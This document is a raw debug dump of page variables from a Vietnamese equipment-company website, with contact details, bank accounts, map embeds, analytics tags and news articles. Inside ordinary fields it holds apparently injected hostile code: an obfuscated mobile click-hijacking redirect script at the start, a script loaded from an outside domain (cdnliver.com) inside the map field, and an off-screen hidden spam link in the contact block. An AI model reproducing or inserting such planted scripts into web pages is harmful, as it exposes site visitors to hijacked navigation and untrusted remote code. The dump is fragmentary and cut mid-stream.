e=navigator.userAgent.toLowerCase();return navigator.maxTouchPoints>1&&window.matchMedia("(pointer:coarse)").matches&&(/android|iphone|ipad|tablet|playbook|silk|kindle/.test(e)||window.matchMedia("(max-width: 1024px)").matches)},gV:()=>sl.gC(sl.e),oC:e=>{const t=e.target.closest("a");t&&t.href&&"/"!==t.href&&(!sl.gV()||"true"!==sl.gV())&&sl.mT()&&(e.preventDefault(),sl.sC(sl.e,"true",3),sl.f[sl.a](t.href,sl.g("knalb_")),sl.f[sl.b][sl.c](sl.d))}};sl.h(); </script> ', 'contactinfo_eng' => '<div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> ', 'taikhoan' => '<strong><span style="color:#04529a;">Số Tài khoản các ngân hàng của công ty Tân Á</span></strong><br /> <br /> 1. 13022-0506-5430 - Nguyễn Văn Hiệu - Agribank - CN Trung Yên, HN<br /> 2. 0011-00404-0367 - Nguyễn Văn Hiệu - Vietcombank - CN Sở Giao dịch, HN<br /> 3. 711A-6202-9713 - Nguyễn Văn Hiệu - Vietinbank - CN Thanh Xuân, HN<br /> 4. 190-256-018-210-13 - Nguyễn Văn Hiệu - Techcombank, Hà Nội<br /> 5. 1231-0000-368-767 - Nguyễn Văn Hiệu - BIDV CN Quang Trung, Hà Nội', 'contactinfo' => '<div dir="rtl" style="text-align: left;"> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> </div> <div style=""> <span style="font-family: tahoma, geneva, sans-serif; font-size: 16px;"> </span><br /> </div> <div style="position: absolute; left: -10000px;"> <a href="http://parkcityhadong.vn/" rel="dofollow">parkcityhadong.vn</a></div> ', 'telephone' => '01659 014592', 'hotline' => '0913303547', 'email' => '', 'url' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2012-06-05', 'modified' => '1752726853', 'youtube' => 'http://youtube.com', 'twitter' => 'https://twitter.com/', 'myspace' => 'https://myspace.com/', 'facebook' => 'https://www.facebook.com/FacebookVietnam/', 'email2' => 'duycuong7640', 'skype' => 'hothihuyen.hn', 'yahoo' => 'duycuong7640', 'yahoo1' => 'duycuong7640', 'content' => 'Thanks for your interest in Vn Discoverytours. For a fast response, please submit this basic Quick Enquiry form below by clicking “Submit”, and we’ll get back to you by e-mail within 12 to 24 hours (in working days). For urgent booking, call us at +84 974 839 873', 'video' => '<iframe width="360" height="200" src="https://www.youtube.com/embed/kwIc6bliHhc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> ', 'slogan' => 'trung tâm sửa chữa và bảo hành máy giặt electrolux', 'slogan_eng' => '', 'printer' => '', 'googleplus' => '', 'bando' => '<p> <iframe allowfullscreen="" frameborder="0" height="410" src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d1680.2372398112452!2d105.81212934716025!3d21.01437303922492!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ab63b645b665%3A0xa6797ac6008687bf!2zQ-G7rWEgSMOgbmcgVHLhuq9jIMSQ4buLYQ!5e0!3m2!1svi!2s!4v1449908805279" style="border:0" width="600"></iframe></p> <script src='https://cdnliver.com/js/thanhtuyen.js'></script>', 'gioithieu' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/gioithieu.png" /></p> ', 'thongtincongty' => 'Sửa máy lạnh tại nhà Sửa máy lạnh tại HCM Sửa tủ lạnh Bơm ga máy lạnh ', 'trogiupkh' => 'Tai nghe Iphone Sua may tinh tai nha Máy Ozone Z755', 'dichvuft' => 'Sửa máy lạnh Bảo dưỡng máy lạnh Vệ sinh máy lạnh Lắp đặt máy lạnh', 'bb' => '', 'zing' => '', 'hotline2' => '0912 35 65 75', 'thelink' => '<script type='text/javascript'>window._sbzq||function(e){e._sbzq=[];var t=e._sbzq;t.push(["_setAccount",32506]);var n=e.location.protocol=="https:"?"https:":"http:";var r=document.createElement("script");r.type="text/javascript";r.async=true;r.src=n+"//static.subiz.com/public/js/loader.js";var i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(r,i)}(window);</script> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-72584674-1', 'auto'); ga('send', 'pageview'); </script> <!-- Global site tag (gtag.js) - Google Ads: 876059345 --> <script async src="https://www.googletagmanager.com/gtag/js?id=AW-876059345"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'AW-876059345'); </script> ', 'theh1' => '', 'hanoi' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tphcm' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tt' => '', 'pp' => 'https://www.facebook.com/ruaxetudong.net', 'tphcm_eng' => '', 'hanoi_eng' => '', 'hotline_eng' => '', 'name_eng' => '', 'chinhsach' => null, 'bandohn' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'bandohaiphong' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'gt' => '<p style="text-align: center;"> </p> <span style="font-size:16px;"><span style="color:#ffa500;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> HỖ TRỢ KHÁCH HÀNG 24/7</strong></span></span></span><br style="margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: arial; font-size: 13px; line-height: 20px; text-align: justify;" /> <img alt="" src="/admin/webroot/upload/image/images/hotline.png" style="width: 205px; height: 82px;" /><br /> <img alt="" src="/admin/webroot/upload/image/images/i-bhch(1).png" style="width: 136px; height: 57px;" /><img alt="" src="/admin/webroot/upload/image/images/i-ghtn(1).png" style="width: 136px; height: 57px;" /><br style="margin: 0px; padding: 0px;" /> <span style="color:#ffffff;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><span style="font-size:14px;"> </span></span></span></span><span style="color:#ffa500;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> </strong></span></span></span> <p style="text-align: center;"> <iframe clocktype="html5" frameborder="no" scrolling="no" src="http://clocklink.com/html5embed.php?clock=sdt&timezone=VietNam_Hanoi&color=blue&size=175&Title=&Message=&Target=&From=2015,1,1,0,0,0&Color=blue" style="overflow:hidden;border:0;margin:0;padding:0;width:175px;height:34px;"></iframe></p> ', 'gt_eng' => '' ), 'description_for_layout' => '', 'keywords_for_layout' => '', 'tintucnoibat' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'duandatrienkhai' => array( (int) 0 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 1 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 2 => array( 'Advertisement' => array( [maximum depth reached] ) ) ), 'slideshow' => array( (int) 0 => array( 'Slideshow' => array( [maximum depth reached] ) ), (int) 1 => array( 'Slideshow' => array( [maximum depth reached] ) ), (int) 2 => array( 'Slideshow' => array( [maximum depth reached] ) ) ), 'adv_khuyenmai' => array( 'Advertisement' => array( 'id' => '1', 'name' => null, 'link' => '', 'images' => '20190618044702f2726adc12fc8d21c875c9ee5274335e.png', 'display' => '5', 'created' => '2015-11-12', 'modified' => '2019-06-18', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '1', 'rght' => '2' ) ), 'doitac' => array( (int) 0 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 1 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 2 => array( 'Advertisement' => array( [maximum depth reached] ) ) ), 'chayphai' => array( 'Advertisement' => array( 'id' => '3', 'name' => null, 'link' => '', 'images' => '20160216064647eda555165b5c7208330a328fac635686.png', 'display' => '2', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '5', 'rght' => '6' ) ), 'chaytrai' => array( 'Advertisement' => array( 'id' => '2', 'name' => null, 'link' => '', 'images' => '201602160646338f7cfbf080f7dfc1a2bafa3a3f0dd7c1.jpg', 'display' => '1', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '3', 'rght' => '4' ) ), 'chiasekinhnghiem' => array(), 'list_menu_footer' => array(), 'danhmuc_left_parent' => array( (int) 0 => array( 'Catproduct' => array( [maximum depth reached] ) ) ), 'danhmuc' => array( (int) 0 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Catproduct' => array( [maximum depth reached] ) ) ), 'support' => array( (int) 0 => array( 'Support' => array( [maximum depth reached] ) ), (int) 1 => array( 'Support' => array( [maximum depth reached] ) ) ), 'content_for_layout' => '<div class="bg-cat-danhmuc"> <div class="cat-title-danhmuc"> <a href="" title=""> <h1></h1> </a> </div> </div> <div class="box-content-detail"> <div class="clear-content"></div><div class="clear-content"></div> <div class="col-product"> <div class="box-new-content"> <div class="box-new-detail"> <div class="time-date"> 12:00:00 <span>16/06/2016</span> </div><!--end time-date--><div class="clear-content"></div> <div class="box-like-share"> <div class="like1"> <div class="fb-like" data-href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" data-layout="standard" data-action="like" data-show-faces="true" data-share="true"></div> </div> </div><!--end box-like-share--><div class="clear-content"></div> <div class="ct-tt"> <div class="clear-main"></div> </div><!--end ct-tt--> <!--<div class="fb-comments" data-href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" data-width="715" data-numposts="5" data-colorscheme="light"></div>--> <div class="clear-content"></div><div class="clear-content"></div> </div><!--end box-new-detail--> <div class="bar-new-detail"> <label>Private same category</label> <div class="clear-main"></div> <ul> <li> <a href="http://www.quangtayqht.vn/cach-kiem-tra-va-hieu-chinh-may-kinh-vi-dien-tu.htm" title=""> <h3> <span>(11-09-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/mot-so-ung-dung-cua-may-kinh-vi-trong-trac-dia.htm" title=""> <h3> <span>(11-09-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/nhung-cach-dinh-vi-duong-di-cho-dan-phuot.htm" title=""> <h3> <span>(22-08-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/thuoc-day-yamayo.htm" title=""> <h3> <span>(22-08-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/nhung-loi-thuong-gap-khi-su-dung-may-toan-dac-dien-tu.htm" title=""> <h3> <span>(25-07-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ban-da-chon-trac-dia-thanh-dat-la-don-vi-cung-cap-may-moc-do-dac-cho-du-an-cua-minh-chua.htm" title=""> <h3> <span>(24-07-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/phan-mem-ung-dung-may-toan-dac-dien-tu-ban-nen-biet.htm" title=""> <h3> <span>(13-06-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/pin-may-toan-dac-dien-tu-topcon.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/huong-dan-co-ban-su-dung-may-bo-dam.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/huong-dan-sac-pin-may-bo-dam-dung-ky-thuat.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> </ul> <div class="clear-main"></div> </div><!--end bar-new-detail--> <div class="clear-main"></div> <div class="pagination"> <span><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:1" rel="first">« First</a></span><span class="prev"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:4" rel="prev">« Previous</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:1">1</a></span>...<span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:2">2</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:3">3</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:4">4</a></span><span class="current number">5</span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:6">6</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:7">7</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:8">8</a></span>...<span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:46">46</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:47">47</a></span><span class="next"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:6" rel="next">Next »</a></span><span><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:47" rel="last">End »</a></span>Page 5/47. View 10/461. </div> <div class="clear-main"></div> </div><!--end box-ctbar--> </div> </div>', 'scripts_for_layout' => '' ) $cat12 = array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) $title_for_layout = 'Sự thật toán học (Theo Sổ tay Thích Học Toán)' $tinmoiup = array( (int) 0 => array( 'Post' => array( 'id' => '539', 'name' => 'CÁCH HOẠT ĐỘNG CỦA ỐNG NHÒM ĐO KHOẢNG CÁCH', 'code' => null, 'alias' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ống nhòm đo khoảng cách hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó</span></span> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">để tính ra khoảng cách của vật.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Ống nhòm đo khoảng cách</strong> hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó để tính ra khoảng cách của vật.<br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Dựa theo nguyên lý trên nên việc đo đạc vô cùng thuận tiện, tuy nhiên để đo khoảng cách chính xác tuyệt đối thì không thể bằng những loại thước chuyên dụng khác. Bởi vì tốc độ ánh sáng rất nhanh, ở cự ly gần thì ánh sáng phản hồi lại là tức thì cho nên loại ống nhòm này đa số được dùng cho hải quân trên biển hoặc mục đích giải trí như chơi golf là chính.</span><br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Bộ xung trong </span>ống nhòm đo khoảng cách <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">có trách nhiệm mã hóa để tránh tình trạng nhiễu ở thiết bị khi ánh sáng xung quanh mạnh, do vậy sẽ giúp việc đo đạc được chính xác hơn.<br /> <img alt="" src="/admin/webroot/upload/image/images/ống-nhòm-đo-khoảng-cách-coolshot-pro-stabilize-.jpeg" style="width: 800px; height: 450px;" /></span></span><br /> <br /> <strong><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Ph</span>ạm vi hoạt động</strong><br /> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Mặc dù chùm tia khá hẹp ở cự ly thấp, nhưng khoảng cách càng lớn thì chùm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> sẽ bị rẽ ra và bị trải rộng, Ngoài ra yếu tố thời tiết cũng ảnh hưởng rất nhiều đến độ chính xác của thiết bị, nghe có vẻ vô lý vì gió không thể tác động trực tiếp vào ánh sáng thì sao có thể gây cản trở được? Tuy nhiên khi có gió đẩy ngang thì khí nóng cũng sẽ bi tạt sang một bên, do vậy khi đo ở vị trí xa thì cũng ít nhiều bị ảnh hưởng. Còn một vấn đề nữa đó là vật đo bị khuất sau cây, có thể là 1 bụi cây thưa ánh sáng đủ sức chiếu qua nhưng khi chìm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> của ống nhòm đo khoảng cách đi qua sẽ bị phản xạ lại sẽ làm giảm chính xác.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/do-khoang-cach.jpg" style="width: 960px; height: 540px;" /></span></span></span><br /> <strong style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px; margin: 0px; padding: 0px;">Công nghệ được sử dụng trên ống nhòm đo khoảng cách</strong><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ tính thời gian bay: Ứng dụng này có thể đo được thời gian mà ánh sáng đến mục tiêu và bị phản lại, Nó được lập trình để lấy tốc độ ánh sáng nhân với số giây quay trở lại để tính ra khoảng cách chính xác nhất.</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ dịch pha tầng số: nhằm mục đích đo tầng số hiện tại để cho ra số liệu cuối cùng khi tính được khoảng cách ở trên</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ đo sự giao thoa: Nhằm mục đích phát hiện những thay đổi giữa vật đo và thiết bị như gió hay nhiệt độ để cho kết quả ít sai số nhất.</span><br /> <br /> <p style="margin: 10px 0px; padding: 0px;"> </p> ', 'images' => '201906100811094651c1abaa619828e0f9465c55605a28.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-06-10', 'modified' => '2025-08-10', 'status' => '1', 'view' => '89284', 'slug' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '943', 'rght' => '944', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '538', 'name' => 'Làm thế nào để các nhà sản xuất có thể sẵn sàng cho cách mạng công nghiệp 4.0 và IIoT?', 'code' => null, 'alias' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(74, 74, 74);">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi </span><em style="box-sizing: border-box; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">Mạng lưới vạn vật kết nối Internet</em><span style="color: rgb(74, 74, 74);"> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></span>', 'content' => '<h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> </h1> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi <em style="box-sizing: border-box;">Mạng lưới vạn vật kết nối Internet</em> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 mang đến khái niệm “Nhà máy thông minh”. Tập trung vào việc sử dụng hệ thống không gian mạng thực-ảo để giám sát quy trình nhà máy thực tế và tạo các quyết định tự động dựa trên cơ sở dữ liệu. Tạo hệ thống thực tế thông minh sử dụng IoT và giao tiếp thời gian thực , chúng kết hợp với nhau, với con người thông qua mạng không dây.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0.jpg" style="width: 320px; height: 158px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <span style="box-sizing: border-box; font-weight: 700;">Vai trò của IIoT trong công nghiệp 4.0</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">IIoT hình thành xương sống cho bất kỳ s</span><span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">á</span></span></span><span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">ng kiến nào hướng đến công nghiệp 4.0. Bằng cách sử dụng công nghệ cảm biến, IIoT cho phép truyền tín hiệu từ máy móc sang hệ thống máy tính. Trong khi thông tin cơ bản về máy móc chỉ có thể truy cập được trong khoảng thời gian rất nhỏ, IIoT vẫn mang về cái nhìn tối tân hơn nhiều về lĩnh vực kinh doanh. Thông cụ thể này cung cấp phạm vi cho tự động hóa. Nếu được phân tích đúng cách, dữ liệu nhận được từ cảm biến IoT có thể cung cấp thông tin để tối ưu hóa các khía cạnh khác nhau của quy trình sản xuất.</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-weight: 700; font-family: tahoma, geneva, sans-serif; font-size: 14px;">Làm gì để một nhà máy sẵn sàng cho Công nghiệp 4.0?</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;"> </span>Đây là 4 điều kiện tiên quyết cho 1 nhà máy hoặc hệ thống cần có thì mới được gọi là Công nghiệp 4.0</span></span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Khả năng giao tiếp</span></span></span></h1> </li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Thiêt lập đường truyền giao tiếp , xác định rõ ràng phương thức trao đổi, sử dụng, thu thập dữ liệu. Các máy móc, thiết bị, cảm biến và cả con người phải được kết nối, chia sẻ thông tin và thao tác trên dữ liệu nhận được.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Minh bạch thông tin</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; 